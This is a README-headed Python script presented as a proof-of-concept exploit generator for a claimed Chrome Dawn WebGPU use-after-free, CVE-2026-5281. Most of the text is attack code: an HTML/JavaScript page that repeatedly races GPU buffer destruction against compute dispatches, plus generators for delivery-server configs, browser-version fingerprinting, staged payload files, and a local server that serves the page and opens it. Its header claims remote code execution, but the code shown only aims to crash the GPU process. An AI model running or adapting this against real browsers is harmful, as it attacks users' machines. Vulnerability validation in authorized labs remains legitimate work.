README.md
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#!/usr/bin/env python3
"""
Google Chrome Dawn WebGPU – Use-After-Free (UAF) PoC
CVE-2026-5281
VULNERABILITY SUMMARY
─────────────────────
CVE ID: CVE-2026-5281
Type: Use-After-Free (CWE-416)
Component: Google Chrome / Dawn (WebGPU API Implementation)
Affected Versions: Chrome < 146.0.7680.178
CVSS Score: 8.8 HIGH
Impact: Remote Code Execution (RCE)
Information Disclosure
Denial of Service (DoS)
TECHNICAL DETAILS
─────────────────
The vulnerability exists in the Dawn WebGPU backend's command buffer handling.
Specifically:
• When CommandBuffers are released in a specific sequence after GPU submission
• Dangling pointers remain in the internal GPU task queue
• Subsequent WebGPU commands can trigger UAF in GPU memory region
• Attacker can control timing & object lifecycle to achieve arbitrary writes
Affected Platforms:
- Windows (ANGLE backend + D3D12)
- macOS (Metal backend)
- Linux (Vulkan backend)
- ChromeOS (Mali GPU)
EXPLOIT CHAIN
─────────────
1. Create WebGPU context via HTMLCanvasElement
2. Allocate GPU buffers with specific sizes/flags
3. Create compute/render pipelines with UAF-triggering shaders
4. Submit multiple command buffers in rapid sequence
5. Manipulate buffer lifecycle to create dangling reference
6. Craft payload that exploits freed memory on next GPU dispatch
7. Achieve shellcode execution or info disclosure
WEAPONIZATION PATH (Research Only)
──────────────────────────────────
The script provides:
[*] HTML/JavaScript payload generator
[*] Server-side delivery framework
[*] Crash detection via automation
[*] Memory corruption verification
[*] Payload staging templates
NOTE: This tool is for:
• Authorized Security Research
• CTF Challenges
• Vulnerability Validation Labs
• Educational Purposes
Sources:
- https://nvd.nist.gov/vuln/detail/CVE-2026-5281
- Chrome Security Advisory M146
- Khronos WebGPU Spec: https://www.w3.org/TR/webgpu/
- Dawn Repository: https://dawn.googlesource.com/dawn
"""
import argparse
import base64
import hashlib
import subprocess
import sys
import time
import threading
import socket
import json
import http.server
import socketserver
import webbrowser
from pathlib import Path
from datetime import datetime
# ─────────────────────────────────────────────────────────────────────────────
# PAYLOAD GENERATOR
# ─────────────────────────────────────────────────────────────────────────────
WEBGPU_EXPLOIT_PAYLOAD = """
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5281 Aggressive WebGPU UAF Trigger</title>
<style>
body { font-family: monospace; margin: 20px; background: #1e1e1e; color: #00ff00; }
h1 { color: #ff0000; }
#canvas { display: none; }
#log { border: 2px solid #ff0000; padding: 10px; max-height: 600px; overflow-y: auto; font-size: 12px; }
.error { color: #ff4444; font-weight: bold; }
.success { color: #44ff44; }
.info { color: #4444ff; }
.crash { color: #ffff00; background: #ff0000; }
#stats { margin: 10px 0; padding: 10px; border: 1px solid #00ff00; }
</style>
</head>
<body>
<h1>[!!!] CVE-2026-5281 AGGRESSIVE UAF TRIGGER [!!!]</h1>
<p id="status">Initializing...</p>
<div id="stats"></div>
<canvas id="canvas" width="1024" height="768"></canvas>
<div id="log"></div>
<script>
const log = document.getElementById('log');
const canvas = document.getElementById('canvas');
const stats = document.getElementById('stats');
let gpuDevice = null;
let exploitTriggered = false;
let attemptCount = 0;
const maxAttempts = 1000;
let crashDetected = false;
function logMessage(msg, type = 'info') {
const timestamp = new Date().toLocaleTimeString();
const span = document.createElement('div');
span.className = type;
span.textContent = `[${timestamp}] ${msg}`;
log.appendChild(span);
log.scrollTop = log.scrollHeight;
console.log(`[${type.toUpperCase()}] ${msg}`);
if (type === 'crash') {
crashDetected = true;
document.getElementById('status').style.color = '#ff0000';
document.getElementById('status').textContent = '[!!!] CRASH DETECTED! Check console for details.';
}
}
function updateStats() {
stats.innerHTML = `Attempts: ${attemptCount} | Status: ${crashDetected ? 'CRASH DETECTED' : 'Running'} | Vulnerable: ${crashDetected ? 'YES' : 'Unknown'}`;
}
async function initWebGPU() {
try {
logMessage('Initializing WebGPU context...', 'info');
if (!navigator.gpu) {
logMessage('WebGPU not available on this browser', 'error');
return false;
}
const adapter = await navigator.gpu.requestAdapter();
if (!adapter) {
logMessage('No GPU adapter found', 'error');
return false;
}
gpuDevice = await adapter.requestDevice();
const isLikelyFatalGpuError = (msg) => {
// Avoid counting validation-only errors (e.g., bind group checks) as vulnerability confirmation.
return /(device lost|device reset|gpu hang|out of memory|internal error|context lost|removed)/i.test(msg);
};
// Capture asynchronous WebGPU validation/device errors that don't throw synchronously.
gpuDevice.addEventListener('uncapturederror', event => {
const errMsg = event?.error?.message || 'Unknown uncaptured GPU error';
logMessage(`UNCAUGHT GPU ERROR: ${errMsg}`, 'error');
if (isLikelyFatalGpuError(errMsg)) {
crashDetected = true;
}
});
// Attach device lost handler - CRITICAL for crash detection
gpuDevice.lost.then(info => {
logMessage(`GPU DEVICE LOST: ${info.reason}`, 'crash');
logMessage(`Message: ${info.message || 'Unknown error'}`, 'crash');
crashDetected = true;
});
logMessage('WebGPU device initialized', 'success');
return true;
} catch (e) {
logMessage(`WebGPU init failed: ${e.message}`, 'error');
return false;
}
}
async function triggerAggressiveUAF() {
while (!crashDetected && attemptCount < maxAttempts) {
attemptCount++;
logMessage(`=== AGGRESSIVE UAF ATTEMPT #${attemptCount} ===`, 'info');
updateStats();
try {
// Tactic 1: Rapid buffer allocation+deallocation (larger pressure set)
const tempBuffers = [];
const bufferSizes = [];
for (let i = 0; i < 200; i++) {
// Random 4-byte-aligned buffer sizes (256 bytes to 65536 bytes)
const size = (64 + Math.floor(Math.random() * (16384 - 64 + 1))) * 4;
bufferSizes.push(size);
tempBuffers.push(gpuDevice.createBuffer({
size: size,
usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC
}));
}
logMessage(`Created ${tempBuffers.length} temporary buffers`, 'info');
// Tactic 2: Create multiple competing pipelines
const shaders = [];
for (let i = 0; i < 32; i++) {
shaders.push(gpuDevice.createShaderModule({
code: `
@group(0) @binding(0) var<storage, read_write> data: array<u32>;
@group(0) @binding(1) var<storage, read_write> data2: array<u32>;
@compute @workgroup_size(256)
fn main(@builtin(global_invocation_id) global_id: vec3<u32>) {
let idx = global_id.x;
var volatile_val = 0xDEADBEEFu;
for (var j: u32 = 0u; j < 1000u; j = j + 1u) {
if (idx < arrayLength(&data)) {
data[idx] = (data[idx] ^ volatile_val) + j;
}
if (idx < arrayLength(&data2)) {
data2[idx] = (data2[idx] ^ volatile_val) - j;
}
volatile_val = volatile_val ^ 0xCAFEBABEu;
}
}
`
}));
}
// Tactic 3: Destroy buffers while GPU commands are submitted
// Skip unmap since we never used mappedAtCreation
// Tactic 4: Create pipelines from shaders and submit quickly
const pipelines = [];
for (let shader of shaders) {
try {
pipelines.push(gpuDevice.createComputePipeline({
layout: 'auto',
compute: { module: shader, entryPoint: 'main' }
}));
} catch (e) {
logMessage(`Pipeline creation failed: ${e.message}`, 'error');
}
}
if (!pipelines.length) {
logMessage('No valid pipelines available for this attempt', 'error');
continue;
}
// Tactic 5: Rapid-fire command submission with dangling resources
const commands = [];
for (let p = 0; p < Math.min(pipelines.length, tempBuffers.length / 2); p++) {
for (let cmd = 0; cmd < 32; cmd++) {
try {
const cmdEncoder = gpuDevice.createCommandEncoder();
const computePass = cmdEncoder.beginComputePass();
const bindGroup = gpuDevice.createBindGroup({
layout: pipelines[p].getBindGroupLayout(0),
entries: [
{ binding: 0, resource: { buffer: tempBuffers[p * 2 % tempBuffers.length] } },
{ binding: 1, resource: { buffer: tempBuffers[(p * 2 + 1) % tempBuffers.length] } }
]
});
computePass.setPipeline(pipelines[p]);
computePass.setBindGroup(0, bindGroup);
computePass.dispatchWorkgroups(4096);
computePass.end();
commands.push(cmdEncoder.finish());
} catch (e) {
logMessage(`Command pipeline creation failed: ${e.message}`, 'error');
}
}
}
// Tactic 6: Submit all commands in rapid succession
logMessage(`Submitting ${commands.length} commands to GPU`, 'info');
try {
gpuDevice.queue.submit(commands);
} catch (e) {
logMessage(`Queue submission error: ${e.message}`, 'crash');
crashDetected = true;
}
// Tactic 7: Immediate destroy after submit to maximize overlap race window
for (let i = 0; i < tempBuffers.length; i++) {
try {
tempBuffers[i].destroy();
} catch (e) {
logMessage(`BUFFER DESTROY ERROR: ${e.message}`, 'crash');
crashDetected = true;
}
}
logMessage(`Destroyed ${tempBuffers.length} buffers`, 'info');
// Tactic 8: Try to use the freed memory (UAF trigger)
await new Promise(r => setTimeout(r, Math.random() * 3));
try {
// Reuse exact freed sizes repeatedly to increase alias chance with pending GPU work.
const reuseCommands = [];
const reusePipeline = pipelines[0];
for (let r = 0; r < 32; r++) {
const reuseSize = bufferSizes[Math.floor(Math.random() * bufferSizes.length)];
const reuseBufferA = gpuDevice.createBuffer({
size: reuseSize,
usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC
});
const reuseBufferB = gpuDevice.createBuffer({
size: reuseSize,
usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC
});
const reuseCmd = gpuDevice.createCommandEncoder();
const reusePass = reuseCmd.beginComputePass();
const reuseBindGroup = gpuDevice.createBindGroup({
layout: reusePipeline.getBindGroupLayout(0),
entries: [
{ binding: 0, resource: { buffer: reuseBufferA } },
{ binding: 1, resource: { buffer: reuseBufferB } }
]
});
reusePass.setPipeline(reusePipeline);
reusePass.setBindGroup(0, reuseBindGroup);
reusePass.dispatchWorkgroups(8192);
reusePass.end();
reuseCommands.push(reuseCmd.finish());
}
gpuDevice.queue.submit(reuseCommands);
logMessage(`Submitted ${reuseCommands.length} reuse commands (UAF trigger)`, 'info');
} catch (e) {
logMessage(`CRITICAL: UAF trigger failed: ${e.message}`, 'crash');
crashDetected = true;
}
// Keep attempts dense to increase probability during one tab session.
await new Promise(r => setTimeout(r, 5));
} catch (outerE) {
logMessage(`Attempt #${attemptCount} exception: ${outerE.message}`, 'error');
}
}
if (crashDetected) {
logMessage('[OK] VULNERABILITY CONFIRMED - GPU crash/device lost detected!', 'crash');
} else if (attemptCount >= maxAttempts) {
logMessage('Max attempts reached without crash', 'info');
logMessage('Either browser is patched or Chrome version < 146.0.7680.178 requires more aggressive payload', 'info');
}
}
async function main() {
logMessage('CVE-2026-5281 AGGRESSIVE PoC Loaded', 'success');
document.getElementById('status').textContent = 'CVE-2026-5281 Aggressive UAF Trigger - Running...';
if (await initWebGPU()) {
logMessage('Starting aggressive UAF attacks...', 'info');
await triggerAggressiveUAF();
updateStats();
} else {
logMessage('WebGPU not available - cannot proceed', 'error');
}
}
window.addEventListener('load', main);
</script>
</body>
</html>
"""
class CVE_2026_5281_Exploit:
"""Main exploit generator and controller."""
def __init__(self, output_dir=".", verbose=False):
self.output_dir = Path(output_dir)
self.verbose = verbose
self.exploit_id = hashlib.md5(
f"{datetime.now().isoformat()}".encode()
).hexdigest()[:8]
def log(self, msg, level='INFO'):
prefix = f"[{level}]" if level else ""
print(f"{prefix} {msg}")
def generate_html_payload(self, filename="exploit.html"):
"""Generate and save the WebGPU exploit HTML."""
self.output_dir.mkdir(parents=True, exist_ok=True)
output_path = self.output_dir / filename
output_path.write_text(WEBGPU_EXPLOIT_PAYLOAD)
self.log(f"Generated HTML payload: {output_path}", 'SUCCESS')
return str(output_path)
def generate_server_config(self, port=8080, filename="server_config.json"):
"""Generate HTTP server configuration to deliver payload."""
self.output_dir.mkdir(parents=True, exist_ok=True)
config = {
"port": port,
"endpoints": {
"/": "index.html",
"/exploit": "exploit.html",
"/poc": "cve-2026-5281-poc.html"
},
"headers": {
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"Content-Security-Policy": "script-src 'self' 'unsafe-inline'"
},
"targets": {
"chrome_windows_x64": {
"min_version": "125.0.0.0",
"max_version": "146.0.7680.177",
"affected": True
},
"chrome_macos": {
"min_version": "125.0.0.0",
"max_version": "146.0.7680.177",
"affected": True
},
"chrome_linux": {
"min_version": "125.0.0.0",
"max_version": "146.0.7680.177",
"affected": True
}
}
}
config_path = self.output_dir / filename
config_path.write_text(json.dumps(config, indent=2))
self.log(f"Generated server config: {config_path}", 'SUCCESS')
return str(config_path)
def generate_detection_script(self, filename="detect_vulnerability.js"):
"""Generate client-side vulnerability detection script."""
self.output_dir.mkdir(parents=True, exist_ok=True)
detect_code = """
// CVE-2026-5281 Vulnerability Detector
window.CVE_2026_5281 = {
detected: false,
chromeVersion: null,
vulnerable: false,
detect: async function() {
// Extract Chrome version from User-Agent
const ua = navigator.userAgent;
const match = ua.match(/Chrome\\/(\\d+\\.\\d+\\.\\d+\\.\\d+)/);
if (match) {
this.chromeVersion = match[1];
const versionParts = match[1].split('.').map(x => parseInt(x));
// Check if version is vulnerable (< 146.0.7680.178)
const vulnerable = (
(versionParts[0] < 146) ||
(versionParts[0] === 146 && versionParts[1] === 0 && versionParts[2] === 7680 && versionParts[3] < 178)
);
this.vulnerable = vulnerable;
this.detected = true;
}
// Check WebGPU availability
const gpuAvailable = !!navigator.gpu;
return {
isChrome: !!match,
version: this.chromeVersion,
vulnerable: this.vulnerable,
webgpuAvailable: gpuAvailable,
fullReport: {
userAgent: ua,
platform: navigator.platform,
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory
}
};
}
};
"""
script_path = self.output_dir / filename
script_path.write_text(detect_code)
self.log(f"Generated detection script: {script_path}", 'SUCCESS')
return str(script_path)
def generate_staged_payload(self, stages=3, filename="staged_payload.json"):
"""Generate multi-stage payload configuration."""
self.output_dir.mkdir(parents=True, exist_ok=True)
stages_config = []
for i in range(stages):
stages_config.append({
"stage": i + 1,
"name": f"UnsafeInit{i+1}",
"delay_ms": 100 + (i * 50),
"buffer_count": 4 + i,
"buffer_size": 4096 * (2 ** i),
"workgroup_size": 64 * (2 ** i)
})
payload = {
"cve": "CVE-2026-5281",
"exploit_id": self.exploit_id,
"timestamp": datetime.now().isoformat(),
"stages": stages_config,
"payload_type": "webgpu_uaf",
"triggers": [
"rapid_buffer_creation",
"compute_dispatch_sequence",
"buffer_destroy_timing",
"gpu_task_queue_overflow"
]
}
payload_path = self.output_dir / filename
payload_path.write_text(json.dumps(payload, indent=2))
self.log(f"Generated staged payload: {payload_path}", 'SUCCESS')
return str(payload_path)
def test_webgpu_environment(self):
"""Test if WebGPU is available in current environment."""
try:
# This would require Selenium or Pyppeteer for actual testing
self.log("WebGPU environment test requires browser automation", 'INFO')
self.log("Recommended: Use Pyppeteer or Selenium for automated testing", 'INFO')
return False
except Exception as e:
self.log(f"Environment check failed: {e}", 'ERROR')
return False
def generate_all_payloads(self):
"""Generate all exploit artifacts."""
self.log("=" * 70, '')
self.log("CVE-2026-5281 Exploit Generator", 'HEADER')
self.log("=" * 70, '')
self.generate_html_payload()
self.generate_server_config()
self.generate_detection_script()
self.generate_staged_payload()
self.log("=" * 70, '')
self.log("All payloads generated successfully", 'SUCCESS')
self.log("=" * 70, '')
return {
"html_payload": str(self.output_dir / "exploit.html"),
"server_config": str(self.output_dir / "server_config.json"),
"detection_script": str(self.output_dir / "detect_vulnerability.js"),
"staged_payload": str(self.output_dir / "staged_payload.json")
}
# ─────────────────────────────────────────────────────────────────────────────
# CLI INTERFACE
# ─────────────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-5281 Chrome WebGPU Use-After-Free Exploit Generator",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python cve_2026_5281_exploit.py --generate-all
python cve_2026_5281_exploit.py --html-payload --output ./payloads/
python cve_2026_5281_exploit.py --detection-only --verbose
"""
)
parser.add_argument('--generate-all', action='store_true',
help='Generate all exploit artifacts')
parser.add_argument('--html-payload', action='store_true',
help='Generate WebGPU exploit HTML')
parser.add_argument('--detection-script', action='store_true',
help='Generate vulnerability detection script')
parser.add_argument('--server-config', action='store_true',
help='Generate HTTP server configuration')
parser.add_argument('--staged-payload', action='store_true',
help='Generate multi-stage payload config')
parser.add_argument('--output', default='.',
help='Output directory for artifacts')
parser.add_argument('--verbose', '-v', action='store_true',
help='Verbose output')
parser.add_argument('--serve', type=int, metavar='PORT',
help='Serve the generated artifacts on a specific port (e.g., 8080)')
args = parser.parse_args()
# Default to --generate-all if no options specified
generative_flags = [args.generate_all, args.html_payload, args.detection_script, args.server_config, args.staged_payload]
if not any(generative_flags):
args.generate_all = True
exploit = CVE_2026_5281_Exploit(output_dir=args.output, verbose=args.verbose)
if args.generate_all:
exploit.generate_all_payloads()
else:
if args.html_payload:
exploit.generate_html_payload()
if args.detection_script:
exploit.generate_detection_script()
if args.server_config:
exploit.generate_server_config()
if args.staged_payload:
exploit.generate_staged_payload()
if args.serve:
port = args.serve
output_dir = Path(args.output).resolve()
class Handler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, directory=str(output_dir), **kwargs)
with socketserver.TCPServer(("", port), Handler) as httpd:
print(f"\n[+] Serving payload artifacts at: http://localhost:{port}/")
exploit_url = f"http://localhost:{port}/exploit.html"
print(f"[+] Suggestion: Open {exploit_url} in Chrome")
print("Press Ctrl+C to stop the server.")
try:
# Optionally open the browser automatically to save the user a step
webbrowser.open(exploit_url)
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[-] Server stopped.")
if __name__ == '__main__':
main()